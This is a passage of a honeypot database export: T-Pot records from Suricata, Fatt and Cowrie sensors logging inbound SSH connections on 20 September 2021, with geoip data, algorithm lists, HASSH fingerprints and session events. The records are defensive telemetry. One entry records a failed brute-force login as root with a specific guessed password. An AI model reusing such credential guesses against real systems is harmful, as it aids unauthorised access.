\N
24581	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:02.176356+03	2021-09-20 14:15:08.98547+03	{"_id": "AAblAnwBvYTbRNuEIRUO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1156980098802044, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35774, "dest_port": 22, "timestamp": "2021-09-20T11:09:02.176356Z", "@timestamp": "2021-09-20T11:09:02.176Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24582	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:02.269325+03	2021-09-20 14:15:08.98647+03	{"_id": "AQblAnwBvYTbRNuEIRUO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1793953813609345, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36182, "dest_port": 22, "timestamp": "2021-09-20T11:09:02.269325Z", "@timestamp": "2021-09-20T11:09:02.269Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24583	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:09:02.179946+03	2021-09-20 14:15:08.98847+03	{"_id": "AgblAnwBvYTbRNuEIhUG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56278, "dest_port": 22, "timestamp": "2021-09-20T11:09:02.179946", "@timestamp": "2021-09-20T11:09:02.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24584	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:02.47732+03	2021-09-20 14:15:08.98947+03	{"_id": "DAblAnwBvYTbRNuEIhWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "86a6ff5a38c1", "@version": "1", "timestamp": "2021-09-20T11:09:02.477320Z", "@timestamp": "2021-09-20T11:09:02.477Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24585	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:02.655689+03	2021-09-20 14:15:08.99047+03	{"_id": "DQblAnwBvYTbRNuEIhWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "941036954566", "@version": "1", "duration": 2.5082972049713135, "timestamp": "2021-09-20T11:09:02.655689Z", "@timestamp": "2021-09-20T11:09:02.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24586	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:03.11405+03	2021-09-20 14:15:08.99147+03	{"_id": "DgblAnwBvYTbRNuEIhWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "48228b0a83c1", "@version": "1", "duration": 3.145822763442993, "timestamp": "2021-09-20T11:09:03.114050Z", "@timestamp": "2021-09-20T11:09:03.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24587	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:03.826235+03	2021-09-20 14:15:08.993471+03	{"_id": "DwblAnwBvYTbRNuEJRXv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57024, "timestamp": "2021-09-20T11:09:03.826235", "@timestamp": "2021-09-20T11:09:03.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24588	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:04.035497+03	2021-09-20 14:15:08.994471+03	{"_id": "EAblAnwBvYTbRNuEJRXv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37040, "timestamp": "2021-09-20T11:09:04.035497", "@timestamp": "2021-09-20T11:09:04.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24589	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:03.820968+03	2021-09-20 14:15:08.99547+03	{"_id": "EQblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:57024 (192.168.176.2:22) [session: 0667e1517904]", "session": "0667e1517904", "@version": "1", "protocol": "ssh", "src_port": 57024, "dest_port": 22, "timestamp": "2021-09-20T11:09:03.820968Z", "@timestamp": "2021-09-20T11:09:03.820Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24590	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:04.123766+03	2021-09-20 14:15:08.996471+03	{"_id": "IgblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:38230 (192.168.176.2:22) [session: 7daf9953965f]", "session": "7daf9953965f", "@version": "1", "protocol": "ssh", "src_port": 38230, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.123766Z", "@timestamp": "2021-09-20T11:09:04.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24591	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:03.799424+03	2021-09-20 14:15:08.9985+03	{"_id": "NQblAnwBvYTbRNuEJhWN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:46464 (192.168.176.2:22) [session: 0cb70e7098e0]", "session": "0cb70e7098e0", "@version": "1", "protocol": "ssh", "src_port": 46464, "dest_port": 22, "timestamp": "2021-09-20T11:09:03.799424Z", "@timestamp": "2021-09-20T11:09:03.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24592	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:03.82395+03	2021-09-20 14:15:09.000469+03	{"_id": "HwblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0667e1517904", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:03.823950Z", "@timestamp": "2021-09-20T11:09:03.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24593	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:09:03.925182+03	2021-09-20 14:15:09.00147+03	{"_id": "MAblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qazxsw23edc] failed", "session": "d0f4216f9eca", "@version": "1", "password": "1qazxsw23edc", "username": "root", "timestamp": "2021-09-20T11:09:03.925182Z", "@timestamp": "2021-09-20T11:09:03.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24594	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:04.126667+03	2021-09-20 14:15:09.002506+03	{"_id": "MQblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7daf9953965f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:04.126667Z", "@timestamp": "2021-09-20T11:09:04.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24595	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.209892+03	2021-09-20 14:15:09.0035+03	{"_id": "MwblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", 